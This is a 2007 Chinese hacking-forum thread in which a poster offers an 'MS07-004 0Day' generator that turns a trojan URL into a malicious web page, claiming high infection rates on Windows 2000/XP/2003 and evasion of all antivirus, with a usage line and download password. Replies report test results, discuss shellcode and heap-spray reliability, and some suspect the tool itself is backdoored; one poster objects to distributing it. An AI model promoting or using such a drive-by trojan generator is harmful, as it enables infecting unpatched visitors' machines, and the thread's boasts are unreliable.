软件作者：seraph.x
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

注意：本软件首发Seraph's Blog，后由原创作者友情提交到邪恶八进制信息安全团队讨论组。转载请注明原始出处Seraph's Blog。

看幻影的刺已经出了MS07-004的分析报告，但是Exploit写的很粗糙，根本不适合直接用作网页木马，于是就写了这个MS07-004 0Day生成器，现在共享给大家，中马率特高，2000、XP、2003都测试通过，只要没打最新补丁的全过！过如今所有杀毒软件！

昨天我找www.feelids.com的慕容小雨要他们写的Exploit，他马上发给我一个exe文件，我打开一看是个动画演示，演示使用07004生成的网马肉鸡能否上线，然后我让他把Exploit发给我看下，他竟然说不给，要卖1万，无语了。

使用方法：CMD下运行MS07-004
http://www.target.com/***.exe(木马地址) ***.htm(生成后的文件)

image1.jpg (31 KB)

2007-1-23 02:21

解压密码：vip.nighter.net   

不要拿了东西就走人哦，有什么好东西要懂得跟大家分享。
技术交流群：839310

XP,2003下成功，但2000下好像不行

这个整数溢出好象有限制，楼主说的成功率指的是在什么系统上。。。而且看你生成的html文件来看，跟网上发布的似乎并没有什么不同。而且shellcode看了下好象并没有堆栈平衡的处理，估计挂IE是肯定的了。不知道偶说的对不对

milw0rm.com上发过MS Internet Explorer VML Download and Execute Exploit

perl写的,生成器。

确实没有堆栈平衡的处理,所以挂IE.... [s:39]

我看生成后的html代码和望上发布的没什么两样，我用我自己编译的生成器也生成一样的html文件，而且我发现我编译的程序只有19.1k，而楼主的程序却有40k，用peid扫下”Microsoft Visual C++ 6.0“，奇怪，大家小心~

是伪装壳吗?还是没加壳?

之前我也在网上看到一个,自己菜还不知道怎么改

[s:39] 小雨的那个不卡IE的~

[s:39] 好东东
特地赶来灌一水

IE全部掉线 而且EXE文件未执行
测试系统 XP SP2

引用:

引用第8楼dayang1718于2007-01-23 18:20发表的:
我看生成后的html代码和望上发布的没什么两样，我用我自己编译的生成器也生成一样的html文件，而且我发现我编译的程序只有19.1k，而楼主的程序却有40k，用peid扫下”Microsoft Visual C++ 6.0“，奇怪，大家小心~

有些话在说的时候还是考虑清楚,没有根据不要乱说.虽然我没有去仔细看楼主的程序，但是单从你说的这点根据还是不成立的.VC编译出的debug版本大小40K还是很正常的.peid应该也能侦测出是release还是debug的，我手头上没有peid所以没法验证了。

小雨的那个不卡
命中率高
shellcode不一样的撒.

XP SP2测试成功
晕，出现报错，进程报错，怎么修改？
难道是人品问题？

让别人为了利益拿去挂马，这种生成器已经不是钻研技术范畴的东西了。

楼上的最不厚道，放不放关你什么事？

另外楼主的这个被AVG和卡巴杀。

测试不行 XP SP2  我把我自己写的EXE上传到空间  比如 http://www.host.com/xxx.exe 然后在本地ms07-004.exe http://www.host.com/xxx.exe ent.html 得到ENT.HTML  把ENT.HTML传到服务器上 然后通过本地访问 我写的EXE跟本没有执行....

关于类似漏洞的堆栈恢复问题,还是相当值得研究一下,楼主的或是大牛门给点恢复的思路吧

测试不上线  系统 xp sp2

另外，我想问一句就是c语言的代码，使用什么工具编译成exe的比较好，出错少！~

加壳了没啊.是伪装壳吗?

网马之家有图形版的生成器:
http://www.hackwm.com/

[IMG]http://www.hackwm.com/download/wm07004.gif[/IMG]

删了我的回复我也不生气。但想要工具的，哪个不是想去挂马的？我是为eviloctal原先挺好的一个技术氛围惋惜。
你们测试不成功很正常，溢出部分，每次覆盖的不一定是同一种对象的pvftable 最终的触发也不都是call [ecx+10]，当然差不多落在大段heap里面也就可以，可是ie插件那么多，鬼知道你javascript 申请的内存在什么地方。

不厚道,改天发一个偶改的.这样从milw0rm.com拉一个就变自己的.

你先能平衡了堆栈再拿出来悬.